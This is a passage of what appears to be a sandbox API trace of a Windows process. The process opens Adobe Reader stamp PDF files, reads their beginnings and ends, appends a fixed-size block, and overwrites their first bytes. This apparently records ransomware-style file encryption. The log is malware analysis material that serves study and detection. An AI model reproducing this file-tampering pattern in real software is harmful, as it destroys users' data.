lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0032.541] WriteFile (in: hFile=0x12c, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0032.541] CloseHandle (hObject=0x12c) returned 1 [0032.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.942] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.942] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x21a02 [0032.942] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.942] ReleaseMutex (hMutex=0x128) returned 1 [0032.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.942] ReadFile (in: hFile=0x12c, lpBuffer=0x261ec48, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0032.947] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x20a02 [0032.948] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.950] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x20a02 [0032.951] WriteFile (in: hFile=0x12c, lpBuffer=0x2627ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2627ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.951] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.951] WriteFile (in: hFile=0x12c, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0032.951] CloseHandle (hObject=0x12c) returned 1 [0032.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.956] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.957] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1c4f5 [0032.957] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.957] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.957] ReleaseMutex (hMutex=0x128) returned 1 [0032.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e6308c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.957] ReadFile (in: hFile=0x12c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.966] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1b4f5 [0032.966] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.967] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1b4f5 [0032.967] WriteFile (in: hFile=0x12c, lpBuffer=0x262add8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x262add8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.967] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.967] WriteFile (in: hFile=0x12c, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.967] CloseHandle (hObject=0x12c) returned 1 [0032.968] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.969] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.969] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xeac1 [0032.969] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.969] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.969] ReleaseMutex (hMutex=0x128) returned 1 [0032.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x1e6314c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0032.969] ReadFile (in: hFile=0x12c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.972] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xdac1 [0032.973] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.973] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xdac1 [0032.973] WriteFile (in: hFile=0x12c, lpBuffer=0x261ec48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.974] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.974] WriteFile (in: hFile=0x12c, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.974] CloseHandle (hObject=0x12c) returned 1 [0032.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.975] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.975] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x80f5 [0032.975] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.975] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.976] ReleaseMutex (hMutex=0x128) returned 1 [0032.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0032.976] ReadFile (in: hFile=0x12c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.979] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x70f5 [0032.989] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.989] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x70f5 [0032.990] WriteFile (in: hFile=0x12c, lpBuffer=0x262add8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x262add8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.990] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.990] WriteFile (in: hFile=0x12c, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.990] CloseHandle (hObject=0x12c) returned 1 [0032.991] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.991] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.991] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xb731 [0032.991] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.991] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.991] ReleaseMutex (hMutex=0x128) returned 1 [0032.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.992] ReadFile (in: hFile=0x12c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.996] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xa731 [0032.996] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.996] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xa731 [0032.996] WriteFile (in: hFile=0x12c, lpBuffer=0x261ec48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.997] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.997] WriteFile (in: hFile=0x12c, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.997] CloseHandle (hObject=0x12c) returned 1 [0032.998] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0033.000] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0033.000] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xa85d [0033.000] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0033.000] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.000] ReleaseMutex (hMutex=0x128) returned 1 [0033.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0033.001] ReadFile (in: hFile=0x168, lpBuffer=0x25c5bd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c5bd8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.005] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x985d [0033.005] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.009] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x985d [0033.009] WriteFile (in: hFile=0x168, lpBuffer=0x2628cd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2628cd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.010] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0033.010] WriteFile (in: hFile=0x168, lpBuffer=0x261ec48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.010] CloseHandle (hObject=0x168) returned 1 [0033.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0033.012] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0033.012] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1c4f5 [0033.012] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0033.012] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.012] ReleaseMutex (hMutex=0x128) returned 1 [0033.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e632ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0033.012] ReadFile (in: hFile=0x168, lpBuffer=0x25c5bd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c5bd8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.015] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1b4f5 [0033.016] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.016] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1b4f5 [0033.016] WriteFile (in: hFile=0x168, lpBuffer=0x261ec48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.016] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0033.017] WriteFile (in: hFile=0x168, lpBuffer=0x261ec48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.017] CloseHandle (hObject=0x168) returned 1 [0033.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0033.018] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0033.018] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xb731 [0033.018] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0033.019] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.019] ReleaseMutex (hMutex=0x128) returned 1 [0033.019] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.019] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 